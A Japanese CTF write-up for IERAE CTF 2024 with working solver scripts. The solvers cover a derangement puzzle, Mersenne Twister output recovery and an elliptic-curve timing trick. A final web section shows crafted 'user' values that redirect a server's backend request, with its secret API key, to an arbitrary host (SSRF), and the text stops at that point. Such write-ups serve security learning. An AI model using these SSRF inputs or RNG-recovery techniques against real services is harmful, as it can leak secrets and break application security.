IERAE CTF 2024へ、一人チームrotation
& (writeup賞用記載)Tan90909090
名義で参加しました。そのwrite-up記事です。
IDAの解析結果ファイル.i64
などを、GitHubで公開しています。
2024/09/25 01:20頃追記: The Kudryavka Sequence
問題の説明に、Extended Timestamp Extra Field
の話を追記しました。
2024/09/25 03:00頃追記: Extended Timestamp Extra Field
の内容確認結果を、タイムゾーンを変更した場合に差し替えました。
- コンテスト概要
- 結果
- 環境
- 解けた問題
- [sanity check] Welcome (198 teams solves, 122 points)
- [misc, warmup] OMG (191 teams solves, 123 points)
- [crypto, warmup] derangement (106 teams solves, 149 points)
- [crypto, easy] Weak PRNG (54 teams solves, 185 points)
- [crypto, easy] splitting (21 teams solves, 255 points)
- [web, warmup] Futari APIs (81 teams solves, 162 points)
- [pwn, warmup] This is warmup (193 teams solves, 48 points)
- [pwn, easy] Command Recorder (11 teams solves, 315 points)
- [rev, warmup] Assignment (127 teams solves, 140 points)
- [rev, was_warmup, easy] Luz Da Lua (86 teams solves, 159 points)
- [rev, easy] The Kudryavka Sequence (13 teams solves, 298 points)
- [rev, medium] analog (10 teams solves, 324 points)
- [pwn, homework] PNGParser(flag 1) (5 teams solves, 1 points)
- [rev, homework] Vending Slot Machine (9 teams solves, 1 points)
- ある程度進められたけど解けなかった問題
- 感想
コンテスト概要
2024/09/21(土) 15:00 +09:00 - 09/22(日) 15:00 +09:00
の24時間開催でした。他ルールはRulesページから引用します:
About IERAE CTF 2024 IERAE CTF is the CTF organized by ierae, the CTF team of GMO Cybersecurity by Ierae, Inc. GMO Cybersecurity by Ierae, Inc. is a Japanese security company with many CTF players. We have been helped by and grown with those CTF players, and now we want to help energize the community. Discord: https://discord.gg/MGZbu88UzU Competition rules - This is a team competition. - There is no limit to the number of people in one team. Of course you can participate alone though. - The flag format is IERAE{something}, unless otherwise specified. - Players need to submit a flag to the score server in order to get points. - A team that gets more score, ranks higher. If some teams get the same score, a team that made the last submission of a valid flag earlier, ranks higher among them. - If there arise situations which are not covered by these rules, the organizers may make decisions on them as needed. The decisions made are absolute. Prohibitions If you take the following actions, you will be disqualified. - To attack or disturb other teams - To attack servers unrelated to problems - To share flags or hints with other teams - To try brute-force attacks to problem servers Prizes 10 Amazon gift cards (each worth 3000 yen) will be awarded to 1st place, 7 to 2nd place, and 5 to 3rd place. Please note, however, that they can only be used on amazon.co.jp. We will also present one Amazon gift card to 7 persons selected by lottery among those who publish a Japanese writeup. Moreover, 2 rights to take Offsec training courses (each worth $1649) will be awarded to the team that meets the following criteria. - The team takes first place among teams with students residing in Japan. - The students will be present at our event IERAE NIGHT.
なお、コンテストに先立って、Homework
としてgmo-ierae/ierae-days-ctf-2023が公開されていました。リンク先ページにWe will provide these challenges as homework challenges in IERAE CTF 2024.
Each challenge has only 1 pt.
とある通り、これらの問題も本コンテストに出題されました。
結果
正の得点を得ている224チーム中、2427点で12位でした:
環境
主に、WindowsのWSL2(Ubuntu 24.04)を使って取り組みました。現状ではUbuntu 24.04のaptではsagemathをinstallできないので、sagemathを使う問題ではUbuntu 22.04も併用しました。
Windows
c:\>ver Microsoft Windows [Version 10.0.19045.4894] c:\>wsl -l -v NAME STATE VERSION * Ubuntu-24.04 Running 2 docker-desktop-data Running 2 kali-linux Stopped 2 docker-desktop Running 2 Ubuntu-22.04 Running 2 c:\>
他ソフト
- IDA Free Version 8.4.240527 Windows x64 (64-bit address size)(Free版IDAでもversion 7頃からx64バイナリを、version 8.2からはx86バイナリもクラウドベースの逆コンパイルができます)
- Binary Ninja Free 4.0.5336-Stable
- Microsoft Visual Studio Community 2022 (64-bit) - Current Version 17.8.3
- Visual Studio Code Version: 1.93.1 (system setup)
- Google Chrome Version 128.0.6613.138 (Official Build) (64-bit)
WSL2(Ubuntu 24.04)(メイン用)
$ cat /proc/version Linux version 5.15.153.1-microsoft-standard-WSL2 (root@941d701f84f1) (gcc (GCC) 11.2.0, GNU ld (GNU Binutils) 2.37) #1 SMP Fri Mar 29 23:14:13 UTC 2024 $ cat /etc/os-release PRETTY_NAME="Ubuntu 24.04.1 LTS" NAME="Ubuntu" VERSION_ID="24.04" VERSION="24.04.1 LTS (Noble Numbat)" VERSION_CODENAME=noble ID=ubuntu ID_LIKE=debian HOME_URL="https://www.ubuntu.com/" SUPPORT_URL="https://help.ubuntu.com/" BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/" PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy" UBUNTU_CODENAME=noble LOGO=ubuntu-logo $ python3 --version Python 3.12.3 $ python3 -m pip show pip | grep Version: Version: 24.0 $ python3 -m pip show IPython | grep Version: Version: 8.24.0 $ python3 -m pip show pwntools | grep Version: Version: 4.13.0 $ python3 -m pip show tqdm | grep Version: Version: 4.66.4 $ curl --version curl 8.5.0 (x86_64-pc-linux-gnu) libcurl/8.5.0 OpenSSL/3.0.13 zlib/1.3 brotli/1.1.0 zstd/1.5.5 libidn2/2.3.7 libpsl/0.21.2 (+libidn2/2.3.7) libssh/0.10.6/openssl/zlib nghttp2/1.59.0 librtmp/2.3 OpenLDAP/2.6.7 Release-Date: 2023-12-06, security patched: 8.5.0-2ubuntu10.4 Protocols: dict file ftp ftps gopher gophers http https imap imaps ldap ldaps mqtt pop3 pop3s rtmp rtsp scp sftp smb smbs smtp smtps telnet tftp Features: alt-svc AsynchDNS brotli GSS-API HSTS HTTP2 HTTPS-proxy IDN IPv6 Kerberos Largefile libz NTLM PSL SPNEGO SSL threadsafe TLS-SRP UnixSockets zstd $ docker --version Docker version 27.2.0, build 3ab4256 $
WSL2(Ubuntu 22.04)(SageMath用)
$ sage --version SageMath version 9.5, Release Date: 2022-01-30 $ sage --pip show pwntools | grep Version Version: 4.13.0 $ sage --pip show tqdm | grep Version Version: 4.66.5 $ sage --pip show timeout_decorator | grep Version Version: 0.5.0 $
解けた問題
[sanity check] Welcome (198 teams solves, 122 points)
Welcome to IERAE CTF 2024! The flag is on Discord
コンテスト開始直後、Discordの announcements
チャンネルに次の書き込みがありました:
Ark — Today at 3:00 PM The CTF has started! https://ierae-ctf.com/ The flag of "Welcome" challenge is IERAE{An_incredibly_interesting_flag}. Have fun!
フラグを入手できました: IERAE{An_incredibly_interesting_flag}
[misc, warmup] OMG (191 teams solves, 123 points)
Oh my God!!!My browser history has been hijacked! オーマイガー!!!ブラウザの履歴が乗っ取られてしまった! Challenge: (接続先URL省略)
配布ファイルはありません。接続先URlへブラウザアクセスしてみると、次のページが表示されました(いずれもアドレスバー箇所を加工して隠しています):
Start / 始める
ボタンをクリックして、ブラウザの戻るボタンをクリックすると次の表示になりました:
その後同様に戻るボタンを連打して、合計33回目になると次の表示になりました:
フラグを入手できました: IERAE{Tr3ndy_4ds.LOL}
[crypto, warmup] derangement (106 teams solves, 149 points)
I've made a secret magic string, perfectly encrypted! nc (接続先IPアドレス省略) 55555
配布ファイルとして、challenge.py
がありました:
#!/usr/bin/env python from os import getenv import random import string import sys FLAG = getenv("FLAG", "TEST{TEST_FLAG}") LENGTH = 15 CHAR_SET = string.ascii_letters + string.digits + string.punctuation def generate_magic_word(length=LENGTH, char_set=CHAR_SET): return ''.join(random.sample(char_set, length)) def is_derangement(perm, original): return all(p != o for p, o in zip(perm, original)) def output_derangement(magic_word): while True: deranged = ''.join(random.sample(magic_word, len(magic_word))) if is_derangement(deranged, magic_word): print('hint:', deranged) break def guess_random(magic_word, flag): print('Oops, I spilled the beans! What is the magic word?') if input('> ') == magic_word: print('Congrats!\n', flag) return True print('Nope') return False def main(): magic_word = generate_magic_word() banner = """ /********************************************************\\ | | | Abracadabra, let's perfectly rearrange everything! | | | \\********************************************************/ """ print(banner) connection_count = 0 while connection_count < 300: print('type 1 to show hint') print('type 2 to submit the magic word') try: connection_count += 1 user_input = int(input('> ')) if user_input == 1: output_derangement(magic_word) elif user_input == 2: if guess_random(magic_word, FLAG): break sys.exit() else: print('bye!') sys.exit() except: sys.exit(-1) print('Connection limit reached. Exiting...') if __name__ == "__main__": main()
hint機能を使ってmagic_word
を復元できれば、フラグを得られる内容です。ただoutput_derangement
関数の挙動に自信を持てなかったので、とりあえず接続してみました:
$ nc 198.51.100.1 55555 /********************************************************\ | | | Abracadabra, let's perfectly rearrange everything! | | | \********************************************************/ type 1 to show hint type 2 to submit the magic word > 1 hint: (sl$^`J3ve\"8b, type 1 to show hint type 2 to submit the magic word > 1 hint: $8(`3^e\Jl,v"bs type 1 to show hint type 2 to submit the magic word > 1 hint: evb"\,l$J8(`^s3 type 1 to show hint type 2 to submit the magic word > 2 Oops, I spilled the beans! What is the magic word? > asdf Nope $
どうやらhint機能では、magic_word
をランダムに並び替えて、全文字が元とは異なる位置になった場合に出力してくれるようです。そうなると、大量のhintを受け取って、それぞれの位置についてその位置に登場しない文字を調べることで、magic_word
を復元できそうです。この発想でソルバーを書きました:
#!/usr/bin/env python3 import pwn import tqdm # pwn.context.log_level = "DEBUG" def solve(io: pwn.tube): LENGTH = 15 appeared_dict: dict[str, set[int]] = {} for time in tqdm.trange(295): io.sendlineafter(b"> ", b"1") io.recvuntil(b"hint:") line = io.recvline().decode().strip() for i, c in enumerate(line): if c not in appeared_dict: appeared_dict[c] = set() appeared_dict[c].add(i) print(f"{appeared_dict = }") assert len(appeared_dict) == LENGTH word = ["無"] * LENGTH for c, s in appeared_dict.items(): assert len(s) == LENGTH - 1 diff_set = set(range(LENGTH)).difference(s) assert len(diff_set) == 1 index = next(iter(diff_set)) word[index] = c io.sendlineafter(b"> ", b"2") io.sendlineafter( b"Oops, I spilled the beans! What is the magic word?", "".join(word).encode() ) print(io.recvall().decode()) with pwn.remote("198.51.100.1", 55555) as io: solve(io)
実行しました:
$ ./solve.py [+] Opening connection to 198.51.100.1 on port 55555: Done 100%|██████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████| 295/295 [00:16<00:00, 17.90it/s] appeared_dict = {'A': {0, 1, 2, 3, 4, 5, 7, 8, 9, 10, 11, 12, 13, 14}, '4': {0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 11, 12, 13, 14}, 'l': {0, 1, 2, 3, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14}, 'n': {0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 12, 13, 14}, '>': {0, 1, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14}, '1': {1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14}, '!': {0, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14}, '5': {0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13}, 's': {0, 1, 2, 3, 4, 5, 6, 8, 9, 10, 11, 12, 13, 14}, '`': {0, 1, 2, 3, 4, 6, 7, 8, 9, 10, 11, 12, 13, 14}, 'y': {0, 1, 2, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14}, 'H': {0, 1, 2, 3, 4, 5, 6, 7, 9, 10, 11, 12, 13, 14}, 'd': {0, 1, 2, 3, 4, 5, 6, 7, 8, 10, 11, 12, 13, 14}, '3': {0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 13, 14}, '&': {0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 14}} [+] Receiving all data: Done (101B) [*] Closed connection to 198.51.100.1 port 55555 > Congrats! IERAE{th3r35_n0_5uch_th!ng_45_p3rf3ct_3ncrypt!0n} Connection limit reached. Exiting... $
フラグを入手できました: IERAE{th3r35_n0_5uch_th!ng_45_p3rf3ct_3ncrypt!0n}
[crypto, easy] Weak PRNG (54 teams solves, 185 points)
Do you understand the traits of that famous PRNG? nc (接続先IPアドレス省略) 19937
配布ファイルとして、challenge.py
がありました:
#!/usr/bin/env python from os import getenv import random import secrets FLAG = getenv("FLAG", "TEST{TEST_FLAG}") def main(): # Python uses the Mersenne Twister (MT19937) as the core generator. # Setup Random Number Generator rng = random.Random() rng.seed(secrets.randbits(32)) secret = rng.getrandbits(32) print("Welcome!") print("Recover the initial output and input them to get the flag.") while True: print("--------------------") print("Menu") print("1. Get next 16 random data") print("2. Submit your answer") print("3. Quit") print("Enter your choice (1-3)") choice = input("> ").strip() if choice == "1": print("Here are your random data:") for _ in range(16): print(rng.getrandbits(32)) elif choice == "2": print("Enter the secret decimal number") try: num = int(input("> ").strip()) if num == secret: print("Correct! Here is your flag:") print(FLAG) else: print("Incorrect number. Bye!") break except (ValueError, EOFError): print("Invalid input. Exiting.") break elif choice == "3": print("Bye!") break else: print("Invalid choice. Please enter 1, 2 or 3.") continue if __name__ == "__main__": main()
メルセンヌツイスターの2つ目以降の32-bit出力を与えられるので、最初の32-bit出力を復元できればフラグを得られる問題です。前知識として「連続する624個の32-bit出力があれば、その時点での内部状態を復元できて、以降の内容を予測できる」は知っていました。それでは以前の出力を復元する方法があるのかと mersenne twister predict old value
でGoogle検索すると、Mersenne Twister (MT19937) で未来と過去の乱数列を予測してみる【Python】記事が見つかりました。記事内容に過去の内部状態の復元
用のPythonコードが掲載されていたため、お借りしてソルバーを書きました:
#!/usr/bin/env python3 import random import pwn import tqdm # pwn.context.log_level = "DEBUG" # https://zenn.dev/hk_ilohas/articles/mersenne-twister-previous-state def untemper(x): x = unBitshiftRightXor(x, 18) x = unBitshiftLeftXor(x, 15, 0xEFC60000) x = unBitshiftLeftXor(x, 7, 0x9D2C5680) x = unBitshiftRightXor(x, 11) return x def unBitshiftRightXor(x, shift): i = 1 y = x while i * shift < 32: z = y >> shift y = x ^ z i += 1 return y def unBitshiftLeftXor(x, shift, mask): i = 1 y = x while i * shift < 32: z = y << shift y = x ^ (z & mask) i += 1 return y def get_prev_state(state): for i in range(623, -1, -1): result = 0 tmp = state[i] tmp ^= state[(i + 397) % 624] if (tmp & 0x80000000) == 0x80000000: tmp ^= 0x9908B0DF result = (tmp << 1) & 0x80000000 tmp = state[(i - 1 + 624) % 624] tmp ^= state[(i + 396) % 624] if (tmp & 0x80000000) == 0x80000000: tmp ^= 0x9908B0DF result |= 1 result |= (tmp << 1) & 0x7FFFFFFF state[i] = result return state def solve(io: pwn.tube): N = 624 # 状態ベクトルのサイズ xs1 = [] # 復元に使用する乱数列 for i in tqdm.trange(N // 16): io.sendlineafter(b"Enter your choice (1-3)", b"1") io.recvline_contains(b"Here are your random data:") for j in range(16): val = int(io.recvline().decode()) xs1.append(val) assert len(xs1) == N mt_state = [untemper(x) for x in xs1] random.setstate((3, tuple(mt_state + [N]), None)) # 検証 io.sendlineafter(b"Enter your choice (1-3)", b"1") io.recvline_contains(b"Here are your random data:") for j in range(16): val = int(io.recvline().decode()) assert random.getrandbits(32) == val # 元の値を復元 prev_mt_state = get_prev_state(mt_state) random.setstate((3, tuple(prev_mt_state + [0]), None)) for i in range(N - 1): random.getrandbits(32) secret = random.getrandbits(32) print(f"{secret = }") io.sendlineafter(b"Enter your choice (1-3)", b"2") io.sendlineafter(b"Enter the secret decimal number", str(secret).encode()) print(io.recvall().decode()) # with pwn.process(["python3", "./challenge.py"]) as io: # solve(io) with pwn.remote("198.51.100.1", 19937) as io: solve(io)
実行しました:
$ ./solve.py [+] Opening connection to 198.51.100.1 on port 19937: Done 100%|████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████| 39/39 [00:03<00:00, 10.66it/s] secret = 1364845206 [+] Receiving all data: Done (82B) [*] Closed connection to 198.51.100.1 port 19937 > Correct! Here is your flag: IERAE{WhY_4r3_n'7_Y0u_u51n6_4_CSPRNG_3v3n_1n_2024} $
フラグを入手できました: IERAE{WhY_4r3_n'7_Y0u_u51n6_4_CSPRNG_3v3n_1n_2024}
[crypto, easy] splitting (21 teams solves, 255 points)
Do you need to solve many ECDLPs? nc (接続先IPアドレス省略) 11119
配布ファイルとして、challenge.sage
などがありました:
$ file * Dockerfile: ASCII text challenge.sage: Python script, ASCII text executable requirements.txt: ASCII text $
challenge.sage
は次の内容でした:
#!/usr/bin/env sage from Crypto.Util.number import * from os import getenv FLAG = getenv("FLAG", "TEST{TEST_FLAG}").encode() f = bytes_to_long(FLAG) p = random_prime(2^128) Fp = GF(p) a, b = Fp.random_element(), Fp.random_element() E = EllipticCurve(Fp, [a, b]) print(a) print(b) print(p) gens = list(E.gens()) if len(gens) < 2: gens.append(ZZ(Fp.random_element()) * E.gens()[0]) res = [] while f > 0: r = Fp.random_element() res.append(ZZ(r) * gens[f & 1]) f >>= 1 for R in res: print(R.xy())
どうやら、楕円曲線のパラメーターと生成元2個が与えられた後に、ランダムな点とどちらかの生成元の乗算結果がフラグのビット数分だけ与えられる問題のようです。各乗算結果がどちらの生成元から作られたものか判断できると、ビットを復元できて、全ビットが判明するとフラグも復元できます。
ところで、先週にAlpacaHack Round3 (Crypto)というコンテストが開催されており、参加者の1名であるkurenaifさんによるAlpacaHack Round 3 (Crypto) Writeup Stream - YouTube配信がありました。その中の A Dance of Add and Mul
問題の解説で、次の話がありました:
G1.discrete_log(x * G1)
は難しい問題を解こうとしているため時間がかかるG2.discrete_log(x * G1)
はValueError: ECDLog problem has no solution
例外が即座に送出される- この2つの違いから、どちらの生成元を使った乗算かを判断できる
- 時間がかかる場合の判定には、
timeout_decorator
が便利
その話を聞いた記憶があったため、今回の問題でも手元で実験してみました:
sage: tmp = ZZ(r) * gens[0] sage: gens[0].discrete_log(tmp) → 時間がかかる sage: gens[1].discrete_log(tmp) → 「ValueError: ECDLog problem has no solution」
今回の場合でも使えそうです!ただもう少し実験すると、うまくいかない場合もあることが分かりました:
- 体感で半分以上の確率で、全ビットについて2つの生成元両方で
ValueError
が起こらず時間がかかりました。この場合は処理を打ち切り、再実行してパラメーターを再生成させる必要がありました。 - 体感で数割の確率で、ビットによって、一方の生成元のみ
ValueError
が起こるため生成元を判定できる場合と、2つの生成元両方でValueError
が起こらず時間がかかる場合がありました。ここで判定できた場合はビットの情報を取得できているため、試行回数を重ねれば全ビットを復元できそうでした。 - 体感で1割ほど確率で、なにか全然違う結果が得られました。詳細は未調査です。
今回の問題では、フラグは固定ですし、接続ごとに異なる楕円曲線パラメーターが使われます。そのためサーバーと複数回接続して統計を取れば、うまくいく場合を元にフラグを復元できそうです。この発想でプログラムを書きました(なお、試行錯誤の残骸が数多く残っています、単発での復号はおそらくできません):
#!/usr/bin/env sage # -*- coding: utf-8 -*- import os os.environ["TERM"] = "xterm-256color" import ast import pwn # sage --pip install pwntools import tqdm.contrib # sage --pip install tqdm import timeout_decorator # sage --pip install timeout-decorator from Crypto.Util.number import long_to_bytes # pwn.context.log_level = "DEBUG" # https://furutsuki.hatenablog.com/entry/2021/08/10/000000 を見て最初はalarmでやろうとしましたがどうにも例外が全然出てくれず…… # def try_calculate_discrete_log(base, x): # try: # alarm(1) # base.discrete_log(x) # cancel_alarm() # return "1" # 多分終わらない # except(AlarmInterrupt): # # あっているかもしれない # return "?" # except(ValueError): # # 明確に異なる # return "0" def try_calculate_discrete_log(base, x): # floatキャストなしだとエラーになった。おそらくsagemathが数値を別の型へ変化させるため。 # デフォルトのuse_signals=Trueだと何かうまくいかなかったのでFalseにするとうまくいった。 @timeout_decorator.timeout(float(0.1), use_signals=False) def core(): return base.discrete_log(x) try: core() return "1" # 多分こない except(ValueError): # 明確に異なる return "0" except(timeout_decorator.TimeoutError): return "?" # どちらか不明 def solve(io_factory): flag_str_bits = [""] * 2048 for _ in tqdm.trange(1): with io_factory() as io: a = int(io.recvline().decode()) b = int(io.recvline().decode()) p = int(io.recvline().decode()) Fp = GF(p) E = EllipticCurve(Fp, [a, b]) gens = list(E.gens()) print(f"{len(gens) = }") if len(gens) < 2: gens.append(ZZ(Fp.random_element()) * E.gens()[0]) res = [] try: while True: point = ast.literal_eval(io.recvline().decode()) res.append(E(point)) # .xy()からの復元がこれでいいのか分かっていません…… except(EOFError): pass for (i, R) in enumerate(res): if flag_str_bits[i].isdigit(): continue # g0 = try_calculate_discrete_log(gens[0], R) g0 = "?" # こっちの判定やめてみます g1 = try_calculate_discrete_log(gens[1], R) # print(f"{g0}, {g1}") assert not (g0 == "0" and g1 == "0") if g0 == "0": # 極稀にこちらも起こる?→こっちの判定やめてみよう assert flag_str_bits[i] != "0" flag_str_bits[i] = "1" elif g1 == "0": # こちらが起こる傾向にありそう assert flag_str_bits[i] != "1" flag_str_bits[i] = "0" else: if flag_str_bits[i] == "": flag_str_bits[i] = "?" print(f"{''.join(flag_str_bits) = }") if all(map(lambda s: s.isdigit(), flag_str_bits)): break # solve(lambda: pwn.process(["sage", "challenge.sage"])) solve(lambda: pwn.remote("198.51.100.1", 11119))
上記プログラムを複数回実行して、それぞれのflag_str_bits
から元フラグを復元するソルバーを書きました:
#!/usr/bin/env python3 from Crypto.Util.number import long_to_bytes # ↓LSBの最初の方はこれになるはず # bin(ord("}"))[2::-1] # '1011111' server_output = [ # "?00000?00000?0?000?00000?00?0?0000?00?0?000?0000?0000000?000000?0??000?0???000000????00?0000?0?0??00000?00?0000000???000?00?0???00?0?0000??000?00??000?000??00000???000000?000?0?0?0000?0????0000??00?00000?00?0000000000???0000?0?000??00?00?000?00000??00???000?000000??0??00?000000000?00?00??????0?0??0000000???0000000000?000??0?0??00?000?00000?00?000?00?00000?0?000?00000000??0?00000???000??0?0?00000000??0?000000000??0??0?0000?0???0??0?0?00?00?000?0??000?000??0000??0000000?00?00000000000?0??00??00000?00000?0000??00?000??0??0000?0?00??000?0?0???000?0000000000?00?00??", # 変だと思う "???????0?00????0?0?0????0??00??????00??0?000??00?000???0???00??0???0??????0???00??000??0?0????00??????0?????0???00?0???????????0???????0?0????0???????0???00??0????????????0???0??0???00??????00??0????0???????0???0?????0?0??0????0???0?0?00??000??????0??????0??0???000??0???0??000?????0???0???????????0???00????????0??????00?0???00?0?0???0???0??00????????0000??0000?0????????0??0???????0?0?????00??0????????0??0??????0???????00????????0?????00000????000????0??0????00??????0???????0?0?00???0?????????0??0??000?0???0???0???0???????0?0??0??0?0??00???????0?0?0?00????00????", # 怪しいかも ← 妥当だったらしいです "?0?????0???0??00?0????000?000??0??0?0??0???0???000?0??000??00???????0????00???00??0?0??0?0?0??00???0??00???0?????000?????00???00000???00?0????00??0????00000??0?0?000????0?00??0???????0???0??????000???0?0???0????0??0000????00?0?0??00?0?????000?0????0??????00?0???0?0??0???0??0??????000??000??0??0??00???0????0??0?0??0???000?0??00?0?0??0????0??00?00???000?????0000?0???00?000??0???0?????0?00??000?0?????000?????00????0???0???0??00????00?0??000000???????0??00?0????0?00?0??0???????00??000??00??0???0?0?0????00?0???0???0??00??0??????0??0????00000??0?00?0???0???0?0?0??00?", # 多分妥当 "?0???????0?0???0???0????0??0???0????0???0??0??????0????0???00??00????????00????0??000??0???????????0????????0??0??0????0?0????0?0??0??00???????0??0?????00??????0??0???0???00??0??????0????0???0??00?????00???????0???0??????????????????0?0???000?0????0?????0??00???00??????0?????0??0?00????0??00??00?00???00????????00????00???????0?0?0??00?0????????????0???0???0??0????00???????????0????0??0??????00??0???0????0?00????????0??00??00??00?0????0??0????0??0?0?????0?0??0??0?????0???0???00?0?0????????????????????0??0??0???????0???????0???000?0??00?0?0??00?0?????0?????????0?", # 多分妥当 "?0???????0?0??00?0?????????????????????0?0?0????0?0????0??00????0??0????00?????????00??????????0??????00?0??0??000?0??00??0???00???0??00??????00?0?????0???0????0??00????0??0??????????????0???0??0????00?????00???????00??0???00?????00???00?????????000?????????0????0???0??0?????0????000??0?0?????00?0?????0???0????00?0????0?00??0????0??00?0?0??????????000?00??0??0?0???????????????0???000?00??00?0????????????0?0?????00?????0?0??0??00???0??0?00?0????00?0???0?0?0?????0????00???0???00?0????????????0???0???0?0?0???0???0???0???????????0?0?0???000?????????0?0?000?????????", # 多分妥当 "?0????????00??0??0?0??0?0??00??0????0??00000??00?000???0???00??00??00??0000????0??00???0?0?0??00???0??0??0?00?????00??00?00???000000??00???0???0?0????00000???000??0?????0?0??????00???0??????00??0?0??0000???00??00??0000?0??0000?0??00???00??00??0??000??0??0??0????00???0???0???00????0????000?00??0??00???00???0???000?0??000?00??00?0?0???0?0?0???0?00????0?00???0000?0??000???0??0???0??00?0??0??0?0?0??00???0???0??0???00???0??00??00???000?0??0?0000???000?0??00?0????0?00????00??????0?0?0????00?????00?0?00??00???0??0???0??00??0????0???000?0??0?00?00?0??0?0?0?000?0??0??0?", # 多分妥当 "?0?????0?0?0??00?0?0??000?00???0??0?0??0??00??0000?0??0?0??0???00??00??0000???00??000??0?0?0??0????0??00?0?00??00000??00?00???000000??00?0?0??00?00???000000??000?000??0?0??0??0??00??00???0???0??0?0???000???00??00??000?????0000?0??00?0?00???0?00??000??0??0?0?0???000??0??00??000??0?00???000?00??0??0????00???0??0000?0??000000??00?0?0??00???0???0?00???000000??0000?0??000?0?0??0???0??0000??0??00000??00??000??0?00???00???0??000?00??0?00?0??000000??0000?0??00???0??0000?0??00???0??0?0??00??00??0??00?0?00??000?00??0???0??00??0????0?0?000?0?00000?00?00?0?0?0?000?0?00?0??", # 多分妥当 "???????0???0??00???????00?0?0??0??000??0??00????000???0?0??00??0????0??0000???00??00???0???????0???0??0??0?????0?000??0??00????00??0??00?0?0??0??00???0000?0??00??0?0??0?0?00?????00???0???0??00??00????000????0???0??0000?0??0??0?0??00?0??0???00?0??000??0??0??00???00??????0???000????000??00??00??00?0????00??????00?0????00?000??00?0?0??00?0?0??00?00?????0??0??0?00?0??0?0?00???0??????000??????000?0??00?000???0?00???0?0?????00???0??0000????000000???0?0?0???0?0?0??00?0????00???0??0???000??00??0??00?0??0???00??0??0???0??00???????0?0?0?0???00?00?00?00?0?0???000?0??0?0??", # 多分妥当 ] FLAG_LEN = len(server_output[0]) question_count_list = [0] * FLAG_LEN for i in range(FLAG_LEN): for out in server_output: if out[i] == "?": question_count_list[i] += 1 flag = 0 for i, q in enumerate(question_count_list): if q == len(server_output): flag |= 1 << i print(f"{flag = }") print(long_to_bytes(flag))
実行しました:
$ ./restore_flag.py flag = 276521194564229105263480919841464376844132884853460541360914870578321345205528785777183219131337345358834460995114354998463459770985435685419574028236678856643554949017981 b'IERAE{7de6b745404269a0d7b40955047921c6860e4438c73eb095090e75c8fb00cb51}' $
フラグを入手できました: IERAE{7de6b745404269a0d7b40955047921c6860e4438c73eb095090e75c8fb00cb51}
[web, warmup] Futari APIs (81 teams solves, 162 points)
curl 'http://(接続先IPアドレス省略):3000/search?user=peroro'
配布ファイルとして、サーバー側プログラムの各種ファイルがありました:
$ find . -type f -print0 | xargs -0 file ./.vscode/settings.json: JSON text data ./compose.yaml: ASCII text ./frontend.ts: ASCII text ./user-search.ts: ASCII text $
frontend.ts
は次の内容です:
const FLAG: string = Deno.env.get("FLAG") || "IERAE{dummy}"; const USER_SEARCH_API: string = Deno.env.get("USER_SEARCH_API") || "http://user-search:3000"; const PORT: number = parseInt(Deno.env.get("PORT") || "3000"); async function searchUser(user: string, userSearchAPI: string) { const uri = new URL(`${user}?apiKey=${FLAG}`, userSearchAPI); return await fetch(uri); } async function handler(req: Request): Promise<Response> { const url = new URL(req.url); switch (url.pathname) { case "/search": { const user = url.searchParams.get("user") || ""; return await searchUser(user, USER_SEARCH_API); } default: return new Response("Not found."); } } Deno.serve({ port: PORT, handler });
次のことを行います:
/serach
エンドポイントのみ対応しています/serach
エンドポイントではuser
パラメーターを使って、new URL(`${user}?apiKey=${FLAG}`, userSearchAPI)
のURLを使ってバックエンド側と通信しようとします- APIキーがフラグです
user-search.ts
は次の内容です:
type User = { name: string; }; const FLAG: string = Deno.env.get("FLAG") || "IERAE{dummy}"; const PORT: number = parseInt(Deno.env.get("PORT") || "3000"); const users = new Map<string, User>(); users.set("peroro", { name: "Peroro sama" }); users.set("wavecat", { name: "Wave Cat" }); users.set("nicholai", { name: "Mr.Nicholai" }); users.set("bigbrother", { name: "Big Brother" }); users.set("pinkypaca", { name: "Pinky Paca" }); users.set("adelie", { name: "Angry Adelie" }); users.set("skullman", { name: "Skullman" }); function search(id: string) { const user = users.get(id); return user; } function handler(req: Request): Response { // API format is /:id const url = new URL(req.url); const id = url.pathname.slice(1); const apiKey = url.searchParams.get("apiKey") || ""; if (apiKey !== FLAG) { return new Response("Invalid API Key."); } const user = search(id); if (!user) { return new Response("User not found."); } return new Response(`User ${user.name} found.`); } Deno.serve({ port: PORT, handler });
次のことを行います
apiKey
パラメーター内容がフラグと一致しているか検証しますapiKey
パラメーターチェックが通ったら、id
パラメーターを使って検索します- 検索結果があればその名前を表示します
さて、最初に問題を見た時、どこからフラグを取得できるのか全然分かりませんでした。とりあえず手元でdocker環境を起動してひたすらcurlで試行錯誤を繰り返したときの思考過程です:
curl 'http://localhost:3000/search?user=peroro?'
とすると、new URL(`${user}?apiKey=${FLAG}`, userSearchAPI)
箇所でのクエリ文字列箇所へ介入できるため、Invalid API Key.
エラーを引き起こせるようになります。同様にapiKey
クエリも自分で与えることで、フラグと完全一致するかブルートフォースはできるようにはなりましたが、あまりにも非効率です。curl 'http://localhost:3000/search?user=\\asdf'
を試すと、Internal Server Error
が返りました。その際、Docker実行ログに次の内容がありました:
frontend-1 | TypeError: error sending request for url (http://asdf/?apiKey=IERAE{dummy}): client error (Connect): dns error: failed to lookup address information: Name or service not known: failed to lookup address information: Name or service not known frontend-1 | at async mainFetch (ext:deno_fetch/26_fetch.js:170:12) frontend-1 | at async fetch (ext:deno_fetch/26_fetch.js:392:7) frontend-1 | at async searchUser (file:///app/frontend.ts:9:10) frontend-1 | at async handler (file:///app/frontend.ts:17:14) frontend-1 | at async ext:deno_http/00_serve.ts:369:18
- ↑の結果を見て、もしやと思って
curl 'http://localhost:3000/search?user=\\example.com'
を試すと、example.com
ページ内容を取得できました。frontend.ts
でのSSRFに成功しました!
